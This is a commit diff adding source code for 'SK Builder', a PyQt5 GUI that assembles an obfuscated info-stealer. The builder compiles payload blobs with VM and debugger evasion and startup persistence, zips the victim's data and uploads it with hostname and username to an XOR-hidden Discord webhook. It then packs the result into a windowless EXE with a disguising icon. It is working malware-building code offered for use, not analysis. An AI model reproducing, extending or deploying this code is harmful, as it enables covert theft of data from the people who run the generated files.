Add files via upload
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
@@ -0,0 +1,2 @@
|
||||
download more here: https://icon-icons.com/
|
||||
cirqueira love u <3
|
||||
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 66 KiB |
|
After Width: | Height: | Size: 993 KiB |
|
After Width: | Height: | Size: 1.3 MiB |
@@ -0,0 +1,16 @@
|
||||
import sys, time
|
||||
from PyQt5.QtWidgets import QApplication
|
||||
from src.main_window import MainWindow
|
||||
from src.pages.splash import SplashScreen
|
||||
|
||||
def main():
|
||||
app = QApplication(sys.argv)
|
||||
window = MainWindow()
|
||||
splash = SplashScreen()
|
||||
splash.start()
|
||||
window.show()
|
||||
sys.exit(app.exec_())
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,327 @@
|
||||
from src.functions.payload_manager import PayloadManager
|
||||
from src.functions.tools import Tools
|
||||
from collections import defaultdict
|
||||
import os, subprocess, shutil
|
||||
|
||||
|
||||
class BuildManager:
|
||||
@staticmethod
|
||||
def buildImports(selected_payloads: list) -> str:
|
||||
grouped_from = defaultdict(set)
|
||||
grouped_import = set()
|
||||
|
||||
for method in selected_payloads:
|
||||
payload = PayloadManager.getPayload(method)
|
||||
reqs = payload.get("requirements", [])
|
||||
|
||||
for req in reqs:
|
||||
module = req["module"]
|
||||
path = req["path"]
|
||||
imp = req["import"]
|
||||
|
||||
if imp is None:
|
||||
if path:
|
||||
grouped_import.add(f"{module}.{'.'.join(path)}")
|
||||
else:
|
||||
grouped_import.add(module)
|
||||
else:
|
||||
base = module if not path else f"{module}.{'.'.join(path)}"
|
||||
grouped_from[base].add(imp)
|
||||
|
||||
lines = []
|
||||
|
||||
for base, imports in grouped_from.items():
|
||||
imports_str = ", ".join(sorted(imports))
|
||||
lines.append(f"from {base} import {imports_str}")
|
||||
|
||||
if grouped_import:
|
||||
imports_str = ", ".join(sorted(grouped_import))
|
||||
lines.append(f"import {imports_str}")
|
||||
|
||||
final_text = "\n".join(lines)
|
||||
|
||||
return final_text
|
||||
|
||||
@staticmethod
|
||||
def buildDefaultFunctions(webhook_url: str):
|
||||
tempFile = "\ntemp_dir = tempfile.gettempdir()"
|
||||
fileName = """\nzip_filename = os.path.join(temp_dir, "SK_"+''.join(random.choices(string.ascii_letters + string.digits, k=16)) + '.zip')"""
|
||||
webhook = f'\nwebhook_raw = "{Tools.protect_webhook(webhook_url)}"\n'
|
||||
final_text = tempFile + fileName + webhook +'\n'
|
||||
return final_text
|
||||
|
||||
@staticmethod
|
||||
def buildBlobFunction(selected_payloads: list):
|
||||
funcs_blobs = {}
|
||||
|
||||
for method in selected_payloads:
|
||||
if method == 'DefaultImports':
|
||||
continue
|
||||
payload = PayloadManager.getPayload(method)
|
||||
name = payload["name"]
|
||||
blob = payload.get("blob", "")
|
||||
func = payload.get("func", None)
|
||||
|
||||
funcs_blobs[name] = {
|
||||
"blob": blob,
|
||||
"func": func
|
||||
}
|
||||
|
||||
# Gerar texto Python bonitinho
|
||||
lines = ["funcs_blobs = {"]
|
||||
|
||||
for name, data in funcs_blobs.items():
|
||||
blob_repr = repr(data["blob"])
|
||||
func_repr = repr(data["func"])
|
||||
|
||||
lines.append(f' {name!r}: {{ "blob": {blob_repr}, "func": {func_repr} }},')
|
||||
|
||||
lines.append("}\n")
|
||||
|
||||
return lines
|
||||
|
||||
@staticmethod
|
||||
def buildStealer(part1, part2, part3):
|
||||
C = part1 + part2 + ''.join(part3) + """
|
||||
class CirqueiraLover:
|
||||
@staticmethod
|
||||
def de_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str:
|
||||
data = base64.urlsafe_b64decode(webhook.encode())
|
||||
dec_webhook = ''.join(chr(b ^ ord(chave[i % len(chave)])) for i, b in enumerate(data))
|
||||
return dec_webhook
|
||||
|
||||
@staticmethod
|
||||
def loader(blob: str) -> str:
|
||||
b =base64.b64decode(blob)
|
||||
b=zlib.decompress(b)
|
||||
c=marshal.loads(b)
|
||||
return c
|
||||
|
||||
@staticmethod
|
||||
def cleanup_file(filename: str) -> bool:
|
||||
try:
|
||||
if os.path.exists(filename):
|
||||
os.remove(filename)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
except PermissionError as e:
|
||||
print(e)
|
||||
return False
|
||||
except Exception as e:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def send_discord(webhook_url: str, file_path: str) -> bool:
|
||||
messages = ["We got him >:D", "I bring good news!", "The rat fell into the trap!", "I have a delivery for you!"]
|
||||
content = f"**• {random.choice(messages)}**"
|
||||
|
||||
embed = {
|
||||
"title": "• Basic system infos:",
|
||||
"color": 0xE53935,
|
||||
"fields": [
|
||||
{
|
||||
"name": "Hostname:",
|
||||
"value": f"```{socket.gethostname()}```",
|
||||
"inline": True
|
||||
},
|
||||
{
|
||||
"name": "Username:",
|
||||
"value": f"```{getpass.getuser()}```",
|
||||
"inline": True
|
||||
},
|
||||
{
|
||||
"name": "Machine:",
|
||||
"value": f"```{platform.machine()}```",
|
||||
"inline": True
|
||||
},
|
||||
{
|
||||
"name": "System:",
|
||||
"value": f"```{platform.system()}```",
|
||||
"inline": True
|
||||
},
|
||||
{
|
||||
"name": "Realease:",
|
||||
"value": f"```{platform.release()}```",
|
||||
"inline": True
|
||||
},
|
||||
{
|
||||
"name": "Version:",
|
||||
"value": f"```{platform.version()}```",
|
||||
"inline": True
|
||||
}
|
||||
],
|
||||
"footer": {
|
||||
"text": "https://github.com/CirqueiraDev | @CirqueiraDev"
|
||||
}
|
||||
}
|
||||
|
||||
try:
|
||||
with open(file_path, "rb") as f:
|
||||
files = {"file": (file_path, f)}
|
||||
payload = {
|
||||
"content": content,
|
||||
"embeds": [embed]
|
||||
}
|
||||
|
||||
r = requests.post(webhook_url, data={"payload_json": json.dumps(payload)}, files=files, timeout=20)
|
||||
return r.status_code in (200, 204)
|
||||
except:
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def generateFile() -> bool:
|
||||
safe = True
|
||||
try:
|
||||
with zipfile.ZipFile(zip_filename, 'w') as zip_file:
|
||||
for name, info in funcs_blobs.items():
|
||||
print(info["func"])
|
||||
exec(CirqueiraLover.loader(info['blob']),globals())
|
||||
func = globals()[info["func"]]
|
||||
if info["func"] == '_is_vm_or_debugged' or info["func"] == '_startup':
|
||||
result = func()
|
||||
if result == True and info["func"] == '_is_vm_or_debugged':
|
||||
print('detected')
|
||||
safe = False
|
||||
return safe
|
||||
else:
|
||||
print('startup:', result)
|
||||
else:
|
||||
result = func(zip_file)
|
||||
return safe
|
||||
except Exception as e:
|
||||
print('failed generate: ', e)
|
||||
safe = False
|
||||
return safe
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
webhook_url = CirqueiraLover.de_webhook(webhook_raw)
|
||||
if CirqueiraLover.generateFile() == True:
|
||||
print('not detected or not error')
|
||||
CirqueiraLover.send_discord(webhook_url, zip_filename)
|
||||
CirqueiraLover.cleanup_file(zip_filename)
|
||||
except:
|
||||
print('failed main')
|
||||
pass
|
||||
"""
|
||||
|
||||
return C
|
||||
|
||||
@staticmethod
|
||||
def buildFinal(compress: bool, webhook_url: str, selected_payloads: list, file_name: str, file_type: str, file_icon_path=None, log=None) -> bool:
|
||||
def write(msg):
|
||||
if log:
|
||||
log(msg)
|
||||
|
||||
selected_payloads.append("DefaultImports")
|
||||
|
||||
write("[1/6] Building imports...")
|
||||
part1 = BuildManager.buildImports(selected_payloads)
|
||||
|
||||
write("[2/6] Adding default functions...")
|
||||
part2 = BuildManager.buildDefaultFunctions(webhook_url)
|
||||
|
||||
write("[3/6] Generating payload blobs...")
|
||||
part3 = BuildManager.buildBlobFunction(selected_payloads)
|
||||
|
||||
write("[4/6] Building final stealer code...")
|
||||
sk_code = BuildManager.buildStealer(part1, part2, part3)
|
||||
|
||||
write("[5/6] Obfuscating code...")
|
||||
protected_code = Tools.obfuscate_code(sk_code, compress)
|
||||
|
||||
base_path = file_name
|
||||
py_path = base_path + ".py"
|
||||
|
||||
write(f"→ Writing output: {py_path}")
|
||||
with open(py_path, "w", encoding="utf-8") as f:
|
||||
f.write(protected_code)
|
||||
|
||||
if file_type == "py":
|
||||
write("✓ Build completed: .py generated successfully.")
|
||||
return True
|
||||
|
||||
if file_type == "pyw":
|
||||
write("Converting .py → .pyw")
|
||||
pyw_path = base_path + ".pyw"
|
||||
os.rename(py_path, pyw_path)
|
||||
write("✓ Build completed: .pyw generated successfully.")
|
||||
return True
|
||||
|
||||
if file_type == "exe":
|
||||
write("Converting .py → .pyw")
|
||||
pyw_path = base_path + ".pyw"
|
||||
exe_path = base_path + ".exe"
|
||||
os.rename(py_path, pyw_path)
|
||||
|
||||
write("Running PyInstaller...")
|
||||
|
||||
#write(f"→ Adding {len(part1 + '\n')} imports...")
|
||||
|
||||
with open(pyw_path, "w", encoding="utf-8") as f:
|
||||
f.write(part1 + '\n' + '\n' + protected_code)
|
||||
|
||||
cmd = [
|
||||
"pyinstaller",
|
||||
"--noconfirm",
|
||||
"--onefile",
|
||||
"--noconsole",
|
||||
]
|
||||
|
||||
if file_icon_path:
|
||||
write(f"→ Adding icon: {file_icon_path}")
|
||||
cmd.append(f"--icon={file_icon_path}")
|
||||
|
||||
cmd.append(pyw_path)
|
||||
|
||||
write("→ Starting PyInstaller process...")
|
||||
try:
|
||||
process = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
text=True,
|
||||
bufsize=1,
|
||||
universal_newlines=True
|
||||
)
|
||||
|
||||
# Lê output em tempo real
|
||||
for line in process.stdout:
|
||||
line = line.strip()
|
||||
if line:
|
||||
write(f" {line}")
|
||||
|
||||
process.wait()
|
||||
|
||||
if process.returncode != 0:
|
||||
write(f"✗ PyInstaller failed with code {process.returncode}")
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
write(f"✗ PyInstaller error: {str(e)}")
|
||||
return False
|
||||
|
||||
dist_generated = f"dist/{os.path.basename(base_path)}.exe"
|
||||
|
||||
if os.path.exists(dist_generated):
|
||||
write("→ Moving final EXE to output folder...")
|
||||
shutil.move(dist_generated, exe_path)
|
||||
else:
|
||||
write("✗ ERROR: EXE not generated by PyInstaller")
|
||||
return False
|
||||
|
||||
write("→ Cleaning temporary files...")
|
||||
if os.path.exists(pyw_path): os.remove(pyw_path)
|
||||
shutil.rmtree("build", ignore_errors=True)
|
||||
shutil.rmtree("dist", ignore_errors=True)
|
||||
|
||||
spec_file = os.path.basename(base_path) + ".spec"
|
||||
if os.path.exists(spec_file):
|
||||
os.remove(spec_file)
|
||||
|
||||
write("✓ Build completed: EXE generated successfully.")
|
||||
return True
|
||||
|
||||
write("✗ ERROR: invalid file_type")
|
||||
return False
|
||||
@@ -0,0 +1,95 @@
|
||||
from contextlib import suppress
|
||||
import requests, base64, zlib, marshal
|
||||
|
||||
LOADER_TEMPLATE = '''
|
||||
import base64, marshal{decompress_import}
|
||||
a={b64!s}
|
||||
b=base64.b64decode(a)
|
||||
{maybe_decompress}
|
||||
c=marshal.loads(b)
|
||||
exec(c)
|
||||
'''
|
||||
|
||||
class Bcolors:
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKCYAN = '\033[96m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
RESET = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
class Tools:
|
||||
@staticmethod
|
||||
def obfuscate_code(code_str: str, compress: bool = False):
|
||||
code_obj = compile(code_str, "<string>", "exec")
|
||||
data = marshal.dumps(code_obj)
|
||||
|
||||
if compress:
|
||||
data = zlib.compress(data)
|
||||
|
||||
b64 = base64.b64encode(data).decode("ascii")
|
||||
|
||||
loader = LOADER_TEMPLATE.format(
|
||||
b64=repr(b64),
|
||||
decompress_import=", zlib" if compress else "",
|
||||
maybe_decompress="b=zlib.decompress(b)" if compress else ""
|
||||
)
|
||||
return loader
|
||||
|
||||
@staticmethod
|
||||
def protect_webhook(webhook: str, chave: str = "CirqueiraAmaOEstadoDeSaoPaulo") -> str:
|
||||
xor_bytes = bytes([ord(c) ^ ord(chave[i % len(chave)]) for i, c in enumerate(webhook)])
|
||||
return base64.urlsafe_b64encode(xor_bytes).decode()
|
||||
|
||||
@staticmethod
|
||||
def check_requirements(requirements):
|
||||
missing = []
|
||||
installed = []
|
||||
for req in requirements:
|
||||
try:
|
||||
__import__(req.split(".")[0])
|
||||
installed.append(req)
|
||||
except ImportError:
|
||||
missing.append(req)
|
||||
return {"installed": installed, "missing": missing}
|
||||
|
||||
@staticmethod
|
||||
def send_webhook(url: str):
|
||||
try:
|
||||
data = {
|
||||
"embeds": [
|
||||
{
|
||||
"title": "SK Builder",
|
||||
"description": "\n**• Your webhook is working.**\n",
|
||||
"color": 0xE53935,
|
||||
"footer": {
|
||||
"text": "https://github.com/CirqueiraDev | @CirqueiraDev"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
|
||||
r = requests.post(url, json=data, timeout=5)
|
||||
|
||||
if r.status_code in (200, 204):
|
||||
return True, "Valid Discord webhook!"
|
||||
|
||||
try:
|
||||
err_json = r.json()
|
||||
msg = err_json.get("message", "Unknown error")
|
||||
except:
|
||||
msg = f"HTTP {r.status_code}"
|
||||
|
||||
return False, msg
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
return False, str(e)
|
||||
|
||||
@staticmethod
|
||||
def ipwhois(ip: str):
|
||||
with suppress(Exception), requests.get(f"https://ipwhois.app/json/{ip}/") as s:
|
||||
return s.json()
|
||||
return {"success": False}
|
||||
@@ -0,0 +1,164 @@
|
||||
from PyQt5.QtWidgets import (
|
||||
QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
|
||||
QLabel, QPushButton, QFrame, QStackedWidget, QGraphicsOpacityEffect
|
||||
)
|
||||
from PyQt5.QtCore import Qt, QPoint, QPropertyAnimation, QEasingCurve
|
||||
from PyQt5.QtGui import QFont, QIcon
|
||||
from src.styles import MAIN_STYLE, SIDEBAR_STYLE, TOPBAR_STYLE, close_btn_style, control_btn_style
|
||||
from src.pages.options_page import OptionsPage
|
||||
from src.pages.builder_page import BuilderPage
|
||||
|
||||
class MainWindow(QMainWindow):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.setWindowIcon(QIcon("./logos/sk_logo.png"))
|
||||
self.setWindowTitle("SK Builder")
|
||||
self.setGeometry(100, 50, 1100, 620)
|
||||
self.setStyleSheet(MAIN_STYLE)
|
||||
|
||||
self.setWindowFlags(Qt.FramelessWindowHint)
|
||||
self.setAttribute(Qt.WA_TranslucentBackground, False)
|
||||
|
||||
self.dragging = False
|
||||
self.offset = QPoint()
|
||||
|
||||
main_widget = QWidget()
|
||||
main_layout = QVBoxLayout()
|
||||
main_layout.setContentsMargins(0, 0, 0, 0)
|
||||
main_layout.setSpacing(0)
|
||||
|
||||
top_bar = self.create_top_bar()
|
||||
|
||||
body_layout = QHBoxLayout()
|
||||
body_layout.setContentsMargins(0, 0, 0, 0)
|
||||
body_layout.setSpacing(0)
|
||||
|
||||
self.sidebar = self.create_sidebar()
|
||||
|
||||
self.stack = QStackedWidget()
|
||||
self.options_page = OptionsPage()
|
||||
self.builder_page = BuilderPage(self.options_page)
|
||||
|
||||
self.stack.addWidget(self.options_page)
|
||||
self.stack.addWidget(self.builder_page)
|
||||
|
||||
body_layout.addWidget(self.sidebar)
|
||||
body_layout.addWidget(self.stack)
|
||||
|
||||
main_layout.addWidget(top_bar)
|
||||
main_layout.addLayout(body_layout)
|
||||
|
||||
main_widget.setLayout(main_layout)
|
||||
self.setCentralWidget(main_widget)
|
||||
|
||||
self.opacity = QGraphicsOpacityEffect(self)
|
||||
self.setGraphicsEffect(self.opacity)
|
||||
|
||||
self.fade_anim = QPropertyAnimation(self.opacity, b"opacity")
|
||||
self.fade_anim.setDuration(2000)
|
||||
self.fade_anim.setStartValue(0)
|
||||
self.fade_anim.setEndValue(1)
|
||||
self.fade_anim.setEasingCurve(QEasingCurve.InOutQuad)
|
||||
|
||||
def create_top_bar(self):
|
||||
top_bar = QFrame()
|
||||
top_bar.setFixedHeight(35)
|
||||
top_bar.setStyleSheet(TOPBAR_STYLE)
|
||||
|
||||
top_bar.mousePressEvent = self.topbar_mousePressEvent
|
||||
top_bar.mouseMoveEvent = self.topbar_mouseMoveEvent
|
||||
top_bar.mouseReleaseEvent = self.topbar_mouseReleaseEvent
|
||||
|
||||
top_layout = QHBoxLayout()
|
||||
top_layout.setContentsMargins(15, 0, 10, 0)
|
||||
top_layout.setSpacing(10)
|
||||
|
||||
icon_label = QLabel("😈")
|
||||
icon_label.setStyleSheet("color: #ff4444; font-size: 16px;")
|
||||
|
||||
title = QLabel("SK Builder")
|
||||
title.setFont(QFont("Segoe UI", 10, QFont.Bold))
|
||||
title.setStyleSheet("color: #e0e0e0;")
|
||||
|
||||
version = QLabel("v0.2.5")
|
||||
version.setStyleSheet("color: #666; font-size: 9px;")
|
||||
|
||||
top_layout.addWidget(icon_label)
|
||||
top_layout.addWidget(title)
|
||||
top_layout.addWidget(version)
|
||||
top_layout.addStretch()
|
||||
|
||||
btn_minimize = QPushButton("🟡")
|
||||
btn_close = QPushButton("🔴")
|
||||
|
||||
btn_minimize.setStyleSheet(control_btn_style)
|
||||
btn_close.setStyleSheet(close_btn_style)
|
||||
|
||||
btn_minimize.clicked.connect(self.showMinimized)
|
||||
btn_close.clicked.connect(self.close)
|
||||
|
||||
top_layout.addWidget(btn_minimize)
|
||||
top_layout.addWidget(btn_close)
|
||||
|
||||
top_bar.setLayout(top_layout)
|
||||
return top_bar
|
||||
|
||||
def topbar_mousePressEvent(self, event):
|
||||
if event.button() == Qt.LeftButton:
|
||||
self.dragging = True
|
||||
self.offset = event.globalPos() - self.frameGeometry().topLeft()
|
||||
|
||||
def topbar_mouseMoveEvent(self, event):
|
||||
if self.dragging:
|
||||
self.move(event.globalPos() - self.offset)
|
||||
|
||||
def topbar_mouseReleaseEvent(self, event):
|
||||
if event.button() == Qt.LeftButton:
|
||||
self.dragging = False
|
||||
|
||||
def create_sidebar(self):
|
||||
sidebar = QFrame()
|
||||
sidebar.setFixedWidth(180)
|
||||
sidebar.setStyleSheet(SIDEBAR_STYLE)
|
||||
|
||||
side_layout = QVBoxLayout()
|
||||
side_layout.setContentsMargins(10, 20, 10, 20)
|
||||
side_layout.setSpacing(5)
|
||||
|
||||
self.btn_options = QPushButton("Options")
|
||||
self.btn_builder = QPushButton("Builder")
|
||||
|
||||
self.btn_options.setObjectName("active")
|
||||
|
||||
self.btn_options.clicked.connect(lambda: self.switch_page(0, self.btn_options))
|
||||
self.btn_builder.clicked.connect(lambda: self.switch_page(1, self.btn_builder))
|
||||
|
||||
side_layout.addWidget(self.btn_options)
|
||||
side_layout.addWidget(self.btn_builder)
|
||||
side_layout.addStretch()
|
||||
|
||||
footer = QLabel("github.com/CirqueiraDev")
|
||||
footer.setStyleSheet("color: #ff4444; font-size: 10px;")
|
||||
footer.setAlignment(Qt.AlignCenter)
|
||||
side_layout.addWidget(footer)
|
||||
|
||||
sidebar.setLayout(side_layout)
|
||||
return sidebar
|
||||
|
||||
def switch_page(self, index, button):
|
||||
for btn in [self.btn_options, self.btn_builder]:
|
||||
btn.setObjectName("")
|
||||
btn.setStyleSheet("")
|
||||
|
||||
button.setObjectName("active")
|
||||
button.setStyleSheet(MAIN_STYLE)
|
||||
|
||||
self.stack.setCurrentIndex(index)
|
||||
|
||||
def show_message(self, message):
|
||||
from PyQt5.QtWidgets import QMessageBox
|
||||
QMessageBox.information(self, "Info", message)
|
||||
|
||||
def showEvent(self, event):
|
||||
super().showEvent(event)
|
||||
self.fade_anim.start()
|
||||
@@ -0,0 +1,67 @@
|
||||
from PyQt5.QtWidgets import QDialog, QVBoxLayout, QLabel, QPushButton, QTextEdit
|
||||
from PyQt5.QtGui import QFont
|
||||
from PyQt5.QtCore import Qt
|
||||
|
||||
class BuildLogBox(QDialog):
|
||||
def __init__(self, parent=None):
|
||||
super().__init__(parent)
|
||||
self.setWindowFlags(self.windowFlags() & ~Qt.WindowContextHelpButtonHint)
|
||||
self.setWindowTitle("Building...")
|
||||
self.setFixedSize(450, 300)
|
||||
self.setModal(True)
|
||||
self.setStyleSheet("""
|
||||
QDialog {
|
||||
background-color: #111;
|
||||
border: 1px solid #333;
|
||||
}
|
||||
QLabel {
|
||||
color: #ff4444;
|
||||
font-size: 14px;
|
||||
}
|
||||
QTextEdit {
|
||||
background-color: #000;
|
||||
color: #0f0;
|
||||
border: 1px solid #222;
|
||||
font-family: Consolas, monospace;
|
||||
font-size: 12px;
|
||||
}
|
||||
QPushButton {
|
||||
background-color: #222;
|
||||
border: 1px solid #444;
|
||||
padding: 6px;
|
||||
color: #ddd;
|
||||
}
|
||||
QPushButton:hover {
|
||||
background-color: #333;
|
||||
}
|
||||
""")
|
||||
|
||||
layout = QVBoxLayout()
|
||||
layout.setSpacing(10)
|
||||
|
||||
title = QLabel("Build Process")
|
||||
title.setAlignment(Qt.AlignCenter)
|
||||
title.setFont(QFont("Consolas", 12, QFont.Bold))
|
||||
|
||||
self.log_box = QTextEdit()
|
||||
self.log_box.setReadOnly(True)
|
||||
|
||||
self.close_btn = QPushButton("Close")
|
||||
self.close_btn.clicked.connect(self.close)
|
||||
self.close_btn.setEnabled(False)
|
||||
|
||||
layout.addWidget(title)
|
||||
layout.addWidget(self.log_box)
|
||||
layout.addWidget(self.close_btn)
|
||||
|
||||
self.setLayout(layout)
|
||||
|
||||
def add_log(self, text: str):
|
||||
self.log_box.append(text)
|
||||
self.log_box.verticalScrollBar().setValue(
|
||||
self.log_box.verticalScrollBar().maximum()
|
||||
)
|
||||
|
||||
def finish(self):
|
||||
self.add_log("\nBuild finished!")
|
||||
self.close_btn.setEnabled(True)
|
||||
@@ -0,0 +1,215 @@
|
||||
from PyQt5.QtWidgets import (
|
||||
QWidget, QVBoxLayout, QHBoxLayout, QLabel,
|
||||
QLineEdit, QComboBox, QPushButton, QFileDialog
|
||||
)
|
||||
from PyQt5.QtCore import Qt, QTimer, pyqtSignal, QThread
|
||||
from PyQt5.QtGui import QFont
|
||||
from src.pages.build_box import BuildLogBox
|
||||
from src.functions.build_manager import BuildManager
|
||||
import threading
|
||||
|
||||
|
||||
class BuildThread(QThread):
|
||||
"""Thread separada para não travar a GUI durante o build"""
|
||||
log_signal = pyqtSignal(str)
|
||||
finished_signal = pyqtSignal(bool, str)
|
||||
|
||||
def __init__(self, compress, webhook_url, selected_payloads, file_name, file_type, file_icon_path):
|
||||
super().__init__()
|
||||
self.compress = compress
|
||||
self.webhook_url = webhook_url
|
||||
self.selected_payloads = selected_payloads
|
||||
self.file_name = file_name
|
||||
self.file_type = file_type
|
||||
self.file_icon_path = file_icon_path
|
||||
|
||||
def log(self, msg):
|
||||
"""Envia log para a GUI de forma segura"""
|
||||
self.log_signal.emit(msg)
|
||||
|
||||
def run(self):
|
||||
"""Executa o build em background"""
|
||||
try:
|
||||
success = BuildManager.buildFinal(
|
||||
compress=self.compress,
|
||||
webhook_url=self.webhook_url,
|
||||
selected_payloads=self.selected_payloads,
|
||||
file_name=self.file_name,
|
||||
file_type=self.file_type,
|
||||
file_icon_path=self.file_icon_path,
|
||||
log=self.log
|
||||
)
|
||||
|
||||
if success:
|
||||
self.finished_signal.emit(True, "Build completed successfully!")
|
||||
else:
|
||||
self.finished_signal.emit(False, "Build failed!")
|
||||
|
||||
except Exception as e:
|
||||
self.log(f"\n✗ ERROR:\n{str(e)}")
|
||||
self.finished_signal.emit(False, f"Build error: {str(e)}")
|
||||
|
||||
|
||||
class BuilderPage(QWidget):
|
||||
def __init__(self, options_page):
|
||||
super().__init__()
|
||||
self.options_page = options_page
|
||||
self.selected_icon = None
|
||||
self.build_thread = None
|
||||
self.init_ui()
|
||||
|
||||
def init_ui(self):
|
||||
main_layout = QVBoxLayout()
|
||||
main_layout.setContentsMargins(30, 30, 30, 30)
|
||||
main_layout.setSpacing(30)
|
||||
|
||||
title = QLabel("Build Configuration")
|
||||
title.setFont(QFont("Segoe UI", 18, QFont.Bold))
|
||||
title.setStyleSheet("color: #ff4444;")
|
||||
|
||||
form_layout = QVBoxLayout()
|
||||
form_layout.setSpacing(25)
|
||||
|
||||
filename_layout = QVBoxLayout()
|
||||
filename_layout.setSpacing(8)
|
||||
filename_label = QLabel("File Name:")
|
||||
filename_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||
self.filename_input = QLineEdit()
|
||||
self.filename_input.setPlaceholderText("Enter file name...")
|
||||
self.filename_input.setMinimumHeight(40)
|
||||
filename_layout.addWidget(filename_label)
|
||||
filename_layout.addWidget(self.filename_input)
|
||||
|
||||
filetype_layout = QVBoxLayout()
|
||||
filetype_layout.setSpacing(8)
|
||||
filetype_label = QLabel("File Type:")
|
||||
filetype_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||
self.filetype_combo = QComboBox()
|
||||
self.filetype_combo.addItems([".exe", ".py", ".pyw"])
|
||||
self.filetype_combo.setMinimumHeight(40)
|
||||
self.filetype_combo.currentTextChanged.connect(self.on_filetype_changed)
|
||||
filetype_layout.addWidget(filetype_label)
|
||||
filetype_layout.addWidget(self.filetype_combo)
|
||||
|
||||
icon_layout = QVBoxLayout()
|
||||
icon_layout.setSpacing(8)
|
||||
self.icon_label = QLabel("Exe Icon (Optional):")
|
||||
self.icon_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||
self.icon_button = QPushButton("Select Icon")
|
||||
self.icon_button.setObjectName("iconButton")
|
||||
self.icon_button.setMinimumHeight(40)
|
||||
self.icon_button.clicked.connect(self.select_icon)
|
||||
self.icon_path_label = QLabel("No icon selected")
|
||||
self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;")
|
||||
icon_layout.addWidget(self.icon_label)
|
||||
icon_layout.addWidget(self.icon_button)
|
||||
icon_layout.addWidget(self.icon_path_label)
|
||||
|
||||
form_layout.addLayout(filename_layout)
|
||||
form_layout.addLayout(filetype_layout)
|
||||
form_layout.addLayout(icon_layout)
|
||||
form_layout.addStretch()
|
||||
|
||||
button_layout = QHBoxLayout()
|
||||
button_layout.addStretch()
|
||||
self.build_button = QPushButton("Start Build")
|
||||
|
||||
self.build_button.setObjectName("buildButton")
|
||||
self.build_button.setMinimumSize(200, 50)
|
||||
self.build_button.clicked.connect(self.start_build)
|
||||
button_layout.addWidget(self.build_button)
|
||||
button_layout.addStretch()
|
||||
|
||||
main_layout.addWidget(title)
|
||||
main_layout.addLayout(form_layout)
|
||||
main_layout.addLayout(button_layout)
|
||||
|
||||
self.setLayout(main_layout)
|
||||
|
||||
self.on_filetype_changed(self.filetype_combo.currentText())
|
||||
|
||||
def on_filetype_changed(self, file_type):
|
||||
is_exe = file_type == ".exe"
|
||||
self.icon_label.setEnabled(is_exe)
|
||||
self.icon_button.setEnabled(is_exe)
|
||||
self.icon_path_label.setEnabled(is_exe)
|
||||
|
||||
if not is_exe:
|
||||
self.selected_icon = None
|
||||
self.icon_path_label.setText("Icon only available for .exe files")
|
||||
self.icon_path_label.setStyleSheet("color: #666; font-size: 12px; font-style: italic;")
|
||||
else:
|
||||
if not self.selected_icon:
|
||||
self.icon_path_label.setText("No icon selected")
|
||||
self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;")
|
||||
|
||||
def select_icon(self):
|
||||
file_path, _ = QFileDialog.getOpenFileName(
|
||||
self,
|
||||
"Select Icon",
|
||||
"icons",
|
||||
"Icon Files (*.ico);;All Files (*)"
|
||||
)
|
||||
|
||||
if file_path:
|
||||
self.selected_icon = file_path
|
||||
self.icon_path_label.setText(f"Selected: {file_path}")
|
||||
self.icon_path_label.setStyleSheet("color: #00aa44; font-size: 12px;")
|
||||
|
||||
def start_build(self):
|
||||
# Validações
|
||||
filename = self.filename_input.text().strip()
|
||||
if not filename:
|
||||
return
|
||||
|
||||
filetype = self.filetype_combo.currentText()
|
||||
icon = self.selected_icon
|
||||
selected = self.options_page.get_selected_options()
|
||||
webhook = self.options_page.webhook_input.text().strip()
|
||||
|
||||
# Cria janela de log
|
||||
self.build_window = BuildLogBox(self)
|
||||
self.build_window.show()
|
||||
|
||||
# Log inicial
|
||||
self.build_window.add_log("Starting build...")
|
||||
self.build_window.add_log(f"Webhook: {webhook}")
|
||||
self.build_window.add_log(f"File: {filename}{filetype}")
|
||||
self.build_window.add_log(f"Payloads: {selected}")
|
||||
self.build_window.add_log("")
|
||||
|
||||
full_path = f"output/{filename}"
|
||||
|
||||
# Cria e configura thread de build
|
||||
self.build_thread = BuildThread(
|
||||
compress=True,
|
||||
webhook_url=webhook,
|
||||
selected_payloads=selected.copy(),
|
||||
file_name=full_path,
|
||||
file_type=filetype.replace(".", ""),
|
||||
file_icon_path=icon
|
||||
)
|
||||
|
||||
# Conecta sinais
|
||||
self.build_thread.log_signal.connect(self.build_window.add_log)
|
||||
self.build_thread.finished_signal.connect(self.on_build_finished)
|
||||
|
||||
# Desabilita botão durante build
|
||||
self.build_button.setEnabled(False)
|
||||
self.build_button.setText("Building...")
|
||||
|
||||
# Inicia thread
|
||||
self.build_thread.start()
|
||||
|
||||
def on_build_finished(self, success, message):
|
||||
"""Chamado quando o build termina"""
|
